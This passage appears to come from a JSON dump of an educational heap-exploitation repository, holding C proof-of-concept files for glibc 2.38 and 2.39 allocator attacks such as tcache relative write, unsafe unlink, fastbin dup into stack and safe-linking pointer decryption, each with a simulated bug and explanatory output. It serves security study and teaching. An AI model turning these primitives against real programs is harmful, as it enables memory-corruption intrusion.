*p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x938;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.38/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.38/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.39/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.39/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.39/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.39/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.39/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   